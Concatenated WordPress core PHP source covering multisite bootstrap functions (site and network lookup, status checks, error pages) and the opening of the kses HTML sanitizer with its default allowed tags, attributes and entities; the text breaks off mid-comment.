function wp_is_rest_endpoint() {
	/* @var WP_REST_Server $wp_rest_server */
	global $wp_rest_server;

	// Check whether this is a standalone REST request.
	$is_rest_endpoint = wp_is_serving_rest_request();
	if ( ! $is_rest_endpoint ) {
		// Otherwise, check whether an internal REST request is currently being handled.
		$is_rest_endpoint = isset( $wp_rest_server )
			&& $wp_rest_server->is_dispatching();
	}

	/**
	 * Filters whether a REST endpoint request is currently being handled.
	 *
	 * This may be a standalone REST API request, or an internal request dispatched from within a regular page load.
	 *
	 * @since 6.5.0
	 *
	 * @param bool $is_request_endpoint Whether a REST endpoint request is currently being handled.
	 */
	return (bool) apply_filters( 'wp_is_rest_endpoint', $is_rest_endpoint );
}
<?php
/**
 * These functions are needed to load Multisite.
 *
 * @since 3.0.0
 *
 * @package WordPress
 * @subpackage Multisite
 */

/**
 * Whether a subdomain configuration is enabled.
 *
 * @since 3.0.0
 *
 * @return bool True if subdomain configuration is enabled, false otherwise.
 */
function is_subdomain_install() {
	if ( defined( 'SUBDOMAIN_INSTALL' ) ) {
		return SUBDOMAIN_INSTALL;
	}

	return ( defined( 'VHOST' ) && 'yes' === VHOST );
}

/**
 * Returns array of network plugin files to be included in global scope.
 *
 * The default directory is wp-content/plugins. To change the default directory
 * manually, define `WP_PLUGIN_DIR` and `WP_PLUGIN_URL` in `wp-config.php`.
 *
 * @access private
 * @since 3.1.0
 *
 * @return string[] Array of absolute paths to files to include.
 */
function wp_get_active_network_plugins() {
	$active_plugins = (array) get_site_option( 'active_sitewide_plugins', array() );
	if ( empty( $active_plugins ) ) {
		return array();
	}

	$plugins        = array();
	$active_plugins = array_keys( $active_plugins );
	sort( $active_plugins );

	foreach ( $active_plugins as $plugin ) {
		if ( ! validate_file( $plugin )                     // $plugin must validate as file.
			&& str_ends_with( $plugin, '.php' )             // $plugin must end with '.php'.
			&& file_exists( WP_PLUGIN_DIR . '/' . $plugin ) // $plugin must exist.
			) {
			$plugins[] = WP_PLUGIN_DIR . '/' . $plugin;
		}
	}

	return $plugins;
}

/**
 * Checks status of current blog.
 *
 * Checks if the blog is deleted, inactive, archived, or spammed.
 *
 * Dies with a default message if the blog does not pass the check.
 *
 * To change the default message when a blog does not pass the check,
 * use the wp-content/blog-deleted.php, blog-inactive.php and
 * blog-suspended.php drop-ins.
 *
 * @since 3.0.0
 *
 * @return true|string Returns true on success, or drop-in file to include.
 */
function ms_site_check() {

	/**
	 * Filters checking the status of the current blog.
	 *
	 * @since 3.0.0
	 *
	 * @param bool|null $check Whether to skip the blog status check. Default null.
	 */
	$check = apply_filters( 'ms_site_check', null );
	if ( null !== $check ) {
		return true;
	}

	// Allow super admins to see blocked sites.
	if ( is_super_admin() ) {
		return true;
	}

	$blog = get_site();

	if ( '1' == $blog->deleted ) {
		if ( file_exists( WP_CONTENT_DIR . '/blog-deleted.php' ) ) {
			return WP_CONTENT_DIR . '/blog-deleted.php';
		} else {
			wp_die( __( 'This site is no longer available.' ), '', array( 'response' => 410 ) );
		}
	}

	if ( '2' == $blog->deleted ) {
		if ( file_exists( WP_CONTENT_DIR . '/blog-inactive.php' ) ) {
			return WP_CONTENT_DIR . '/blog-inactive.php';
		} else {
			$admin_email = str_replace( '@', ' AT ', get_site_option( 'admin_email', 'support@' . get_network()->domain ) );
			wp_die(
				sprintf(
					/* translators: %s: Admin email link. */
					__( 'This site has not been activated yet. If you are having problems activating your site, please contact %s.' ),
					sprintf( '<a href="mailto:%1$s">%1$s</a>', $admin_email )
				)
			);
		}
	}

	if ( '1' == $blog->archived || '1' == $blog->spam ) {
		if ( file_exists( WP_CONTENT_DIR . '/blog-suspended.php' ) ) {
			return WP_CONTENT_DIR . '/blog-suspended.php';
		} else {
			wp_die( __( 'This site has been archived or suspended.' ), '', array( 'response' => 410 ) );
		}
	}

	return true;
}

/**
 * Retrieves the closest matching network for a domain and path.
 *
 * @since 3.9.0
 *
 * @internal In 4.4.0, converted to a wrapper for WP_Network::get_by_path()
 *
 * @param string   $domain   Domain to check.
 * @param string   $path     Path to check.
 * @param int|null $segments Path segments to use. Defaults to null, or the full path.
 * @return WP_Network|false Network object if successful. False when no network is found.
 */
function get_network_by_path( $domain, $path, $segments = null ) {
	return WP_Network::get_by_path( $domain, $path, $segments );
}

/**
 * Retrieves the closest matching site object by its domain and path.
 *
 * This will not necessarily return an exact match for a domain and path. Instead, it
 * breaks the domain and path into pieces that are then used to match the closest
 * possibility from a query.
 *
 * The intent of this method is to match a site object during bootstrap for a
 * requested site address
 *
 * @since 3.9.0
 * @since 4.7.0 Updated to always return a `WP_Site` object.
 *
 * @param string   $domain   Domain to check.
 * @param string   $path     Path to check.
 * @param int|null $segments Path segments to use. Defaults to null, or the full path.
 * @return WP_Site|false Site object if successful. False when no site is found.
 */
function get_site_by_path( $domain, $path, $segments = null ) {
	$path_segments = array_filter( explode( '/', trim( $path, '/' ) ) );

	/**
	 * Filters the number of path segments to consider when searching for a site.
	 *
	 * @since 3.9.0
	 *
	 * @param int|null $segments The number of path segments to consider. WordPress by default looks at
	 *                           one path segment following the network path. The function default of
	 *                           null only makes sense when you know the requested path should match a site.
	 * @param string   $domain   The requested domain.
	 * @param string   $path     The requested path, in full.
	 */
	$segments = apply_filters( 'site_by_path_segments_count', $segments, $domain, $path );

	if ( null !== $segments && count( $path_segments ) > $segments ) {
		$path_segments = array_slice( $path_segments, 0, $segments );
	}

	$paths = array();

	while ( count( $path_segments ) ) {
		$paths[] = '/' . implode( '/', $path_segments ) . '/';
		array_pop( $path_segments );
	}

	$paths[] = '/';

	/**
	 * Determines a site by its domain and path.
	 *
	 * This allows one to short-circuit the default logic, perhaps by
	 * replacing it with a routine that is more optimal for your setup.
	 *
	 * Return null to avoid the short-circuit. Return false if no site
	 * can be found at the requested domain and path. Otherwise, return
	 * a site object.
	 *
	 * @since 3.9.0
	 *
	 * @param null|false|WP_Site $site     Site value to return by path. Default null
	 *                                     to continue retrieving the site.
	 * @param string             $domain   The requested domain.
	 * @param string             $path     The requested path, in full.
	 * @param int|null           $segments The suggested number of paths to consult.
	 *                                     Default null, meaning the entire path was to be consulted.
	 * @param string[]           $paths    The paths to search for, based on $path and $segments.
	 */
	$pre = apply_filters( 'pre_get_site_by_path', null, $domain, $path, $segments, $paths );
	if ( null !== $pre ) {
		if ( false !== $pre && ! $pre instanceof WP_Site ) {
			$pre = new WP_Site( $pre );
		}
		return $pre;
	}

	/*
	 * @todo
	 * Caching, etc. Consider alternative optimization routes,
	 * perhaps as an opt-in for plugins, rather than using the pre_* filter.
	 * For example: The segments filter can expand or ignore paths.
	 * If persistent caching is enabled, we could query the DB for a path <> '/'
	 * then cache whether we can just always ignore paths.
	 */

	/*
	 * Either www or non-www is supported, not both. If a www domain is requested,
	 * query for both to provide the proper redirect.
	 */
	$domains = array( $domain );
	if ( str_starts_with( $domain, 'www.' ) ) {
		$domains[] = substr( $domain, 4 );
	}

	$args = array(
		'number'                 => 1,
		'update_site_meta_cache' => false,
	);

	if ( count( $domains ) > 1 ) {
		$args['domain__in']               = $domains;
		$args['orderby']['domain_length'] = 'DESC';
	} else {
		$args['domain'] = array_shift( $domains );
	}

	if ( count( $paths ) > 1 ) {
		$args['path__in']               = $paths;
		$args['orderby']['path_length'] = 'DESC';
	} else {
		$args['path'] = array_shift( $paths );
	}

	$result = get_sites( $args );
	$site   = array_shift( $result );

	if ( $site ) {
		return $site;
	}

	return false;
}

/**
 * Identifies the network and site of a requested domain and path and populates the
 * corresponding network and site global objects as part of the multisite bootstrap process.
 *
 * Prior to 4.6.0, this was a procedural block in `ms-settings.php`. It was wrapped into
 * a function to facilitate unit tests. It should not be used outside of core.
 *
 * Usually, it's easier to query the site first, which then declares its network.
 * In limited situations, we either can or must find the network first.
 *
 * If a network and site are found, a `true` response will be returned so that the
 * request can continue.
 *
 * If neither a network or site is found, `false` or a URL string will be returned
 * so that either an error can be shown or a redirect can occur.
 *
 * @since 4.6.0
 * @access private
 *
 * @global WP_Network $current_site The current network.
 * @global WP_Site    $current_blog The current site.
 *
 * @param string $domain    The requested domain.
 * @param string $path      The requested path.
 * @param bool   $subdomain Optional. Whether a subdomain (true) or subdirectory (false) configuration.
 *                          Default false.
 * @return bool|string True if bootstrap successfully populated `$current_blog` and `$current_site`.
 *                     False if bootstrap could not be properly completed.
 *                     Redirect URL if parts exist, but the request as a whole can not be fulfilled.
 */
function ms_load_current_site_and_network( $domain, $path, $subdomain = false ) {
	global $current_site, $current_blog;

	// If the network is defined in wp-config.php, we can simply use that.
	if ( defined( 'DOMAIN_CURRENT_SITE' ) && defined( 'PATH_CURRENT_SITE' ) ) {
		$current_site         = new stdClass();
		$current_site->id     = defined( 'SITE_ID_CURRENT_SITE' ) ? SITE_ID_CURRENT_SITE : 1;
		$current_site->domain = DOMAIN_CURRENT_SITE;
		$current_site->path   = PATH_CURRENT_SITE;
		if ( defined( 'BLOG_ID_CURRENT_SITE' ) ) {
			$current_site->blog_id = BLOG_ID_CURRENT_SITE;
		} elseif ( defined( 'BLOGID_CURRENT_SITE' ) ) { // Deprecated.
			$current_site->blog_id = BLOGID_CURRENT_SITE;
		}

		if ( 0 === strcasecmp( $current_site->domain, $domain ) && 0 === strcasecmp( $current_site->path, $path ) ) {
			$current_blog = get_site_by_path( $domain, $path );
		} elseif ( '/' !== $current_site->path && 0 === strcasecmp( $current_site->domain, $domain ) && 0 === stripos( $path, $current_site->path ) ) {
			/*
			 * If the current network has a path and also matches the domain and path of the request,
			 * we need to look for a site using the first path segment following the network's path.
			 */
			$current_blog = get_site_by_path( $domain, $path, 1 + count( explode( '/', trim( $current_site->path, '/' ) ) ) );
		} else {
			// Otherwise, use the first path segment (as usual).
			$current_blog = get_site_by_path( $domain, $path, 1 );
		}
	} elseif ( ! $subdomain ) {
		/*
		 * A "subdomain" installation can be re-interpreted to mean "can support any domain".
		 * If we're not dealing with one of these installations, then the important part is determining
		 * the network first, because we need the network's path to identify any sites.
		 */
		$current_site = wp_cache_get( 'current_network', 'site-options' );
		if ( ! $current_site ) {
			// Are there even two networks installed?
			$networks = get_networks( array( 'number' => 2 ) );
			if ( count( $networks ) === 1 ) {
				$current_site = array_shift( $networks );
				wp_cache_add( 'current_network', $current_site, 'site-options' );
			} elseif ( empty( $networks ) ) {
				// A network not found hook should fire here.
				return false;
			}
		}

		if ( empty( $current_site ) ) {
			$current_site = WP_Network::get_by_path( $domain, $path, 1 );
		}

		if ( empty( $current_site ) ) {
			/**
			 * Fires when a network cannot be found based on the requested domain and path.
			 *
			 * At the time of this action, the only recourse is to redirect somewhere
			 * and exit. If you want to declare a particular network, do so earlier.
			 *
			 * @since 4.4.0
			 *
			 * @param string $domain       The domain used to search for a network.
			 * @param string $path         The path used to search for a path.
			 */
			do_action( 'ms_network_not_found', $domain, $path );

			return false;
		} elseif ( $path === $current_site->path ) {
			$current_blog = get_site_by_path( $domain, $path );
		} else {
			// Search the network path + one more path segment (on top of the network path).
			$current_blog = get_site_by_path( $domain, $path, substr_count( $current_site->path, '/' ) );
		}
	} else {
		// Find the site by the domain and at most the first path segment.
		$current_blog = get_site_by_path( $domain, $path, 1 );
		if ( $current_blog ) {
			$current_site = WP_Network::get_instance( $current_blog->site_id ? $current_blog->site_id : 1 );
		} else {
			// If you don't have a site with the same domain/path as a network, you're pretty screwed, but:
			$current_site = WP_Network::get_by_path( $domain, $path, 1 );
		}
	}

	// The network declared by the site trumps any constants.
	if ( $current_blog && $current_blog->site_id != $current_site->id ) {
		$current_site = WP_Network::get_instance( $current_blog->site_id );
	}

	// No network has been found, bail.
	if ( empty( $current_site ) ) {
		/** This action is documented in wp-includes/ms-settings.php */
		do_action( 'ms_network_not_found', $domain, $path );

		return false;
	}

	// During activation of a new subdomain, the requested site does not yet exist.
	if ( empty( $current_blog ) && wp_installing() ) {
		$current_blog          = new stdClass();
		$current_blog->blog_id = 1;
		$blog_id               = 1;
		$current_blog->public  = 1;
	}

	// No site has been found, bail.
	if ( empty( $current_blog ) ) {
		// We're going to redirect to the network URL, with some possible modifications.
		$scheme      = is_ssl() ? 'https' : 'http';
		$destination = "$scheme://{$current_site->domain}{$current_site->path}";

		/**
		 * Fires when a network can be determined but a site cannot.
		 *
		 * At the time of this action, the only recourse is to redirect somewhere
		 * and exit. If you want to declare a particular site, do so earlier.
		 *
		 * @since 3.9.0
		 *
		 * @param WP_Network $current_site The network that had been determined.
		 * @param string     $domain       The domain used to search for a site.
		 * @param string     $path         The path used to search for a site.
		 */
		do_action( 'ms_site_not_found', $current_site, $domain, $path );

		if ( $subdomain && ! defined( 'NOBLOGREDIRECT' ) ) {
			// For a "subdomain" installation, redirect to the signup form specifically.
			$destination .= 'wp-signup.php?new=' . str_replace( '.' . $current_site->domain, '', $domain );
		} elseif ( $subdomain ) {
			/*
			 * For a "subdomain" installation, the NOBLOGREDIRECT constant
			 * can be used to avoid a redirect to the signup form.
			 * Using the ms_site_not_found action is preferred to the constant.
			 */
			if ( '%siteurl%' !== NOBLOGREDIRECT ) {
				$destination = NOBLOGREDIRECT;
			}
		} elseif ( 0 === strcasecmp( $current_site->domain, $domain ) ) {
			/*
			 * If the domain we were searching for matches the network's domain,
			 * it's no use redirecting back to ourselves -- it'll cause a loop.
			 * As we couldn't find a site, we're simply not installed.
			 */
			return false;
		}

		return $destination;
	}

	// Figure out the current network's main site.
	if ( empty( $current_site->blog_id ) ) {
		$current_site->blog_id = get_main_site_id( $current_site->id );
	}

	return true;
}

/**
 * Displays a failure message.
 *
 * Used when a blog's tables do not exist. Checks for a missing $wpdb->site table as well.
 *
 * @access private
 * @since 3.0.0
 * @since 4.4.0 The `$domain` and `$path` parameters were added.
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 *
 * @param string $domain The requested domain for the error to reference.
 * @param string $path   The requested path for the error to reference.
 */
function ms_not_installed( $domain, $path ) {
	global $wpdb;

	if ( ! is_admin() ) {
		dead_db();
	}

	wp_load_translations_early();

	$title = __( 'Error establishing a database connection' );

	$msg   = '<h1>' . $title . '</h1>';
	$msg  .= '<p>' . __( 'If your site does not display, please contact the owner of this network.' ) . '';
	$msg  .= ' ' . __( 'If you are the owner of this network please check that your host&#8217;s database server is running properly and all tables are error free.' ) . '</p>';
	$query = $wpdb->prepare( 'SHOW TABLES LIKE %s', $wpdb->esc_like( $wpdb->site ) );
	if ( ! $wpdb->get_var( $query ) ) {
		$msg .= '<p>' . sprintf(
			/* translators: %s: Table name. */
			__( '<strong>Database tables are missing.</strong> This means that your host&#8217;s database server is not running, WordPress was not installed properly, or someone deleted %s. You really should look at your database now.' ),
			'<code>' . $wpdb->site . '</code>'
		) . '</p>';
	} else {
		$msg .= '<p>' . sprintf(
			/* translators: 1: Site URL, 2: Table name, 3: Database name. */
			__( '<strong>Could not find site %1$s.</strong> Searched for table %2$s in database %3$s. Is that right?' ),
			'<code>' . rtrim( $domain . $path, '/' ) . '</code>',
			'<code>' . $wpdb->blogs . '</code>',
			'<code>' . DB_NAME . '</code>'
		) . '</p>';
	}
	$msg .= '<p><strong>' . __( 'What do I do now?' ) . '</strong> ';
	$msg .= sprintf(
		/* translators: %s: Documentation URL. */
		__( 'Read the <a href="%s" target="_blank">Debugging a WordPress Network</a> article. Some of the suggestions there may help you figure out what went wrong.' ),
		__( 'https://wordpress.org/documentation/article/debugging-a-wordpress-network/' )
	);
	$msg .= ' ' . __( 'If you are still stuck with this message, then check that your database contains the following tables:' ) . '</p><ul>';
	foreach ( $wpdb->tables( 'global' ) as $t => $table ) {
		if ( 'sitecategories' === $t ) {
			continue;
		}
		$msg .= '<li>' . $table . '</li>';
	}
	$msg .= '</ul>';

	wp_die( $msg, $title, array( 'response' => 500 ) );
}

/**
 * This deprecated function formerly set the site_name property of the $current_site object.
 *
 * This function simply returns the object, as before.
 * The bootstrap takes care of setting site_name.
 *
 * @access private
 * @since 3.0.0
 * @deprecated 3.9.0 Use get_current_site() instead.
 *
 * @param WP_Network $current_site
 * @return WP_Network
 */
function get_current_site_name( $current_site ) {
	_deprecated_function( __FUNCTION__, '3.9.0', 'get_current_site()' );
	return $current_site;
}

/**
 * This deprecated function managed much of the site and network loading in multisite.
 *
 * The current bootstrap code is now responsible for parsing the site and network load as
 * well as setting the global $current_site object.
 *
 * @access private
 * @since 3.0.0
 * @deprecated 3.9.0
 *
 * @global WP_Network $current_site
 *
 * @return WP_Network
 */
function wpmu_current_site() {
	global $current_site;
	_deprecated_function( __FUNCTION__, '3.9.0' );
	return $current_site;
}

/**
 * Retrieves an object containing information about the requested network.
 *
 * @since 3.9.0
 * @deprecated 4.7.0 Use get_network()
 * @see get_network()
 *
 * @internal In 4.6.0, converted to use get_network()
 *
 * @param object|int $network The network's database row or ID.
 * @return WP_Network|false Object containing network information if found, false if not.
 */
function wp_get_network( $network ) {
	_deprecated_function( __FUNCTION__, '4.7.0', 'get_network()' );

	$network = get_network( $network );
	if ( null === $network ) {
		return false;
	}

	return $network;
}
<?php
/**
 * kses 0.2.2 - HTML/XHTML filter that only allows some elements and attributes
 * Copyright (C) 2002, 2003, 2005  Ulf Harnhammar
 *
 * This program is free software and open source software; you can redistribute
 * it and/or modify it under the terms of the GNU General Public License as
 * published by the Free Software Foundation; either version 2 of the License,
 * or (at your option) any later version.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT
 * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
 * FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for
 * more details.
 *
 * You should have received a copy of the GNU General Public License along
 * with this program; if not, write to the Free Software Foundation, Inc.,
 * 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA
 * http://www.gnu.org/licenses/gpl.html
 *
 * [kses strips evil scripts!]
 *
 * Added wp_ prefix to avoid conflicts with existing kses users
 *
 * @version 0.2.2
 * @copyright (C) 2002, 2003, 2005
 * @author Ulf Harnhammar <http://advogato.org/person/metaur/>
 *
 * @package External
 * @subpackage KSES
 */

/**
 * Specifies the default allowable HTML tags.
 *
 * Using `CUSTOM_TAGS` is not recommended and should be considered deprecated. The
 * {@see 'wp_kses_allowed_html'} filter is more powerful and supplies context.
 *
 * When using this constant, make sure to set all of these globals to arrays:
 *
 *  - `$allowedposttags`
 *  - `$allowedtags`
 *  - `$allowedentitynames`
 *  - `$allowedxmlentitynames`
 *
 * @see wp_kses_allowed_html()
 * @since 1.2.0
 *
 * @var array[]|false Array of default allowable HTML tags, or false to use the defaults.
 */
if ( ! defined( 'CUSTOM_TAGS' ) ) {
	define( 'CUSTOM_TAGS', false );
}

// Ensure that these variables are added to the global namespace
// (e.g. if using namespaces / autoload in the current PHP environment).
global $allowedposttags, $allowedtags, $allowedentitynames, $allowedxmlentitynames;

if ( ! CUSTOM_TAGS ) {
	/**
	 * KSES global for default allowable HTML tags.
	 *
	 * Can be overridden with the `CUSTOM_TAGS` constant.
	 *
	 * @var array[] $allowedposttags Array of default allowable HTML tags.
	 * @since 2.0.0
	 */
	$allowedposttags = array(
		'address'    => array(),
		'a'          => array(
			'href'     => true,
			'rel'      => true,
			'rev'      => true,
			'name'     => true,
			'target'   => true,
			'download' => array(
				'valueless' => 'y',
			),
		),
		'abbr'       => array(),
		'acronym'    => array(),
		'area'       => array(
			'alt'    => true,
			'coords' => true,
			'href'   => true,
			'nohref' => true,
			'shape'  => true,
			'target' => true,
		),
		'article'    => array(
			'align' => true,
		),
		'aside'      => array(
			'align' => true,
		),
		'audio'      => array(
			'autoplay' => true,
			'controls' => true,
			'loop'     => true,
			'muted'    => true,
			'preload'  => true,
			'src'      => true,
		),
		'b'          => array(),
		'bdo'        => array(),
		'big'        => array(),
		'blockquote' => array(
			'cite' => true,
		),
		'br'         => array(),
		'button'     => array(
			'disabled' => true,
			'name'     => true,
			'type'     => true,
			'value'    => true,
		),
		'caption'    => array(
			'align' => true,
		),
		'cite'       => array(),
		'code'       => array(),
		'col'        => array(
			'align'   => true,
			'char'    => true,
			'charoff' => true,
			'span'    => true,
			'valign'  => true,
			'width'   => true,
		),
		'colgroup'   => array(
			'align'   => true,
			'char'    => true,
			'charoff' => true,
			'span'    => true,
			'valign'  => true,
			'width'   => true,
		),
		'del'        => array(
			'datetime' => true,
		),
		'dd'         => array(),
		'dfn'        => array(),
		'details'    => array(
			'align' => true,
			'open'  => true,
		),
		'div'        => array(
			'align' => true,
		),
		'dl'         => array(),
		'dt'         => array(),
		'em'         => array(),
		'fieldset'   => array(),
		'figure'     => array(
			'align' => true,
		),
		'figcaption' => array(
			'align' => true,
		),
		'font'       => array(
			'color' => true,
			'face'  => true,
			'size'  => true,
		),
		'footer'     => array(
			'align' => true,
		),
		'h1'         => array(
			'align' => true,
		),
		'h2'         => array(
			'align' => true,
		),
		'h3'         => array(
			'align' => true,
		),
		'h4'         => array(
			'align' => true,
		),
		'h5'         => array(
			'align' => true,
		),
		'h6'         => array(
			'align' => true,
		),
		'header'     => array(
			'align' => true,
		),
		'hgroup'     => array(
			'align' => true,
		),
		'hr'         => array(
			'align'   => true,
			'noshade' => true,
			'size'    => true,
			'width'   => true,
		),
		'i'          => array(),
		'img'        => array(
			'alt'      => true,
			'align'    => true,
			'border'   => true,
			'height'   => true,
			'hspace'   => true,
			'loading'  => true,
			'longdesc' => true,
			'vspace'   => true,
			'src'      => true,
			'usemap'   => true,
			'width'    => true,
		),
		'ins'        => array(
			'datetime' => true,
			'cite'     => true,
		),
		'kbd'        => array(),
		'label'      => array(
			'for' => true,
		),
		'legend'     => array(
			'align' => true,
		),
		'li'         => array(
			'align' => true,
			'value' => true,
		),
		'main'       => array(
			'align' => true,
		),
		'map'        => array(
			'name' => true,
		),
		'mark'       => array(),
		'menu'       => array(
			'type' => true,
		),
		'nav'        => array(
			'align' => true,
		),
		'object'     => array(
			'data' => array(
				'required'       => true,
				'value_callback' => '_wp_kses_allow_pdf_objects',
			),
			'type' => array(
				'required' => true,
				'values'   => array( 'application/pdf' ),
			),
		),
		'p'          => array(
			'align' => true,
		),
		'pre'        => array(
			'width' => true,
		),
		'q'          => array(
			'cite' => true,
		),
		'rb'         => array(),
		'rp'         => array(),
		'rt'         => array(),
		'rtc'        => array(),
		'ruby'       => array(),
		's'          => array(),
		'samp'       => array(),
		'span'       => array(
			'align' => true,
		),
		'section'    => array(
			'align' => true,
		),
		'small'      => array(),
		'strike'     => array(),
		'strong'     => array(),
		'sub'        => array(),
		'summary'    => array(
			'align' => true,
		),
		'sup'        => array(),
		'table'      => array(
			'align'       => true,
			'bgcolor'     => true,
			'border'      => true,
			'cellpadding' => true,
			'cellspacing' => true,
			'rules'       => true,
			'summary'     => true,
			'width'       => true,
		),
		'tbody'      => array(
			'align'   => true,
			'char'    => true,
			'charoff' => true,
			'valign'  => true,
		),
		'td'         => array(
			'abbr'    => true,
			'align'   => true,
			'axis'    => true,
			'bgcolor' => true,
			'char'    => true,
			'charoff' => true,
			'colspan' => true,
			'headers' => true,
			'height'  => true,
			'nowrap'  => true,
			'rowspan' => true,
			'scope'   => true,
			'valign'  => true,
			'width'   => true,
		),
		'textarea'   => array(
			'cols'     => true,
			'rows'     => true,
			'disabled' => true,
			'name'     => true,
			'readonly' => true,
		),
		'tfoot'      => array(
			'align'   => true,
			'char'    => true,
			'charoff' => true,
			'valign'  => true,
		),
		'th'         => array(
			'abbr'    => true,
			'align'   => true,
			'axis'    => true,
			'bgcolor' => true,
			'char'    => true,
			'charoff' => true,
			'colspan' => true,
			'headers' => true,
			'height'  => true,
			'nowrap'  => true,
			'rowspan' => true,
			'scope'   => true,
			'valign'  => true,
			'width'   => true,
		),
		'thead'      => array(
			'align'   => true,
			'char'    => true,
			'charoff' => true,
			'valign'  => true,
		),
		'title'      => array(),
		'tr'         => array(
			'align'   => true,
			'bgcolor' => true,
			'char'    => true,
			'charoff' => true,
			'valign'  => true,
		),
		'track'      => array(
			'default' => true,
			'kind'    => true,
			'label'   => true,
			'src'     => true,
			'srclang' => true,
		),
		'tt'         => array(),
		'u'          => array(),
		'ul'         => array(
			'type' => true,
		),
		'ol'         => array(
			'start'    => true,
			'type'     => true,
			'reversed' => true,
		),
		'var'        => array(),
		'video'      => array(
			'autoplay'    => true,
			'controls'    => true,
			'height'      => true,
			'loop'        => true,
			'muted'       => true,
			'playsinline' => true,
			'poster'      => true,
			'preload'     => true,
			'src'         => true,
			'width'       => true,
		),
	);

	/**
	 * @var array[] $allowedtags Array of KSES allowed HTML elements.
	 * @since 1.0.0
	 */
	$allowedtags = array(
		'a'          => array(
			'href'  => true,
			'title' => true,
		),
		'abbr'       => array(
			'title' => true,
		),
		'acronym'    => array(
			'title' => true,
		),
		'b'          => array(),
		'blockquote' => array(
			'cite' => true,
		),
		'cite'       => array(),
		'code'       => array(),
		'del'        => array(
			'datetime' => true,
		),
		'em'         => array(),
		'i'          => array(),
		'q'          => array(
			'cite' => true,
		),
		's'          => array(),
		'strike'     => array(),
		'strong'     => array(),
	);

	/**
	 * @var string[] $allowedentitynames Array of KSES allowed HTML entity names.
	 * @since 1.0.0
	 */
	$allowedentitynames = array(
		'nbsp',
		'iexcl',
		'cent',
		'pound',
		'curren',
		'yen',
		'brvbar',
		'sect',
		'uml',
		'copy',
		'ordf',
		'laquo',
		'not',
		'shy',
		'reg',
		'macr',
		'deg',
		'plusmn',
		'acute',
		'micro',
		'para',
		'middot',
		'cedil',
		'ordm',
		'raquo',
		'iquest',
		'Agrave',
		'Aacute',
		'Acirc',
		'Atilde',
		'Auml',
		'Aring',
		'AElig',
		'Ccedil',
		'Egrave',
		'Eacute',
		'Ecirc',
		'Euml',
		'Igrave',
		'Iacute',
		'Icirc',
		'Iuml',
		'ETH',
		'Ntilde',
		'Ograve',
		'Oacute',
		'Ocirc',
		'Otilde',
		'Ouml',
		'times',
		'Oslash',
		'Ugrave',
		'Uacute',
		'Ucirc',
		'Uuml',
		'Yacute',
		'THORN',
		'szlig',
		'agrave',
		'aacute',
		'acirc',
		'atilde',
		'auml',
		'aring',
		'aelig',
		'ccedil',
		'egrave',
		'eacute',
		'ecirc',
		'euml',
		'igrave',
		'iacute',
		'icirc',
		'iuml',
		'eth',
		'ntilde',
		'ograve',
		'oacute',
		'ocirc',
		'otilde',
		'ouml',
		'divide',
		'oslash',
		'ugrave',
		'uacute',
		'ucirc',
		'uuml',
		'yacute',
		'thorn',
		'yuml',
		'quot',
		'amp',
		'lt',
		'gt',
		'apos',
		'OElig',
		'oelig',
		'Scaron',
		'scaron',
		'Yuml',
		'circ',
		'tilde',
		'ensp',
		'emsp',
		'thinsp',
		'zwnj',
		'zwj',
		'lrm',
		'rlm',
		'ndash',
		'mdash',
		'lsquo',
		'rsquo',
		'sbquo',
		'ldquo',
		'rdquo',
		'bdquo',
		'dagger',
		'Dagger',
		'permil',
		'lsaquo',
		'rsaquo',
		'euro',
		'fnof',
		'Alpha',
		'Beta',
		'Gamma',
		'Delta',
		'Epsilon',
		'Zeta',
		'Eta',
		'Theta',
		'Iota',
		'Kappa',
		'Lambda',
		'Mu',
		'Nu',
		'Xi',
		'Omicron',
		'Pi',
		'Rho',
		'Sigma',
		'Tau',
		'Upsilon',
		'Phi',
		'Chi',
		'Psi',
		'Omega',
		'alpha',
		'beta',
		'gamma',
		'delta',
		'epsilon',
		'zeta',
		'eta',
		'theta',
		'iota',
		'kappa',
		'lambda',
		'mu',
		'nu',
		'xi',
		'omicron',
		'pi',
		'rho',
		'sigmaf',
		'sigma',
		'tau',
		'upsilon',
		'phi',
		'chi',
		'psi',
		'omega',
		'thetasym',
		'upsih',
		'piv',
		'bull',
		'hellip',
		'prime',
		'Prime',
		'oline',
		'frasl',
		'weierp',
		'image',
		'real',
		'trade',
		'alefsym',
		'larr',
		'uarr',
		'rarr',
		'darr',
		'harr',
		'crarr',
		'lArr',
		'uArr',
		'rArr',
		'dArr',
		'hArr',
		'forall',
		'part',
		'exist',
		'empty',
		'nabla',
		'isin',
		'notin',
		'ni',
		'prod',
		'sum',
		'minus',
		'lowast',
		'radic',
		'prop',
		'infin',
		'ang',
		'and',
		'or',
		'cap',
		'cup',
		'int',
		'sim',
		'cong',
		'asymp',
		'ne',
		'equiv',
		'le',
		'ge',
		'sub',
		'sup',
		'nsub',
		'sube',
		'supe',
		'oplus',
		'otimes',
		'perp',
		'sdot',
		'lceil',
		'rceil',
		'lfloor',
		'rfloor',
		'lang',
		'rang',
		'loz',
		'spades',
		'clubs',
		'hearts',
		'diams',
		'sup1',
		'sup2',
		'sup3',
		'frac14',
		'frac12',
		'frac34',
		'there4',
	);

	/**
	 * @var string[] $allowedxmlentitynames Array of KSES allowed XML entity names.
	 * @since 5.5.0
	 */
	$allowedxmlentitynames = array(
		'amp',
		'lt',
		'gt',
		'apos',
		'quot',
	);

	$allowedposttags = array_map( '_wp_add_global_attributes', $allowedposttags );
} else {
	$required_kses_globals = array(
		'allowedposttags',
		'allowedtags',
		'allowedentitynames',
		'allowedxmlentitynames',
	);
	$missing_kses_globals  = array();

	foreach ( $required_kses_globals as $global_name ) {
		if ( ! isset( $GLOBALS[ $global_name ] ) || ! is_array( $GLOBALS[ $global_name ] ) ) {
			$missing_kses_globals[] = '<code>$' . $global_name . '</code>';
		}
	}

	if ( $missing_kses_globals ) {
		_doing_it_wrong(
			'wp_kses_allowed_html',
			sprintf(
				/* translators: 1: CUSTOM_TAGS, 2: Global variable names. */
				__( 'When using the %1$s constant, make sure to set these globals to an array: %2$s.' ),
				'<code>CUSTOM_TAGS</code>',
				implode( ', ', $missing_kses_globals )
			),
			'6.2.0'
		);
	}

	$allowedtags     = wp_kses_array_lc( $allowedtags );
	$allowedposttags = wp_kses_array_lc( $allowedposttags );
}

/**
 * Filters text content and strips out disallowed HTML.
 *
 * This function makes sure that only the allowed HTML element names, attribute
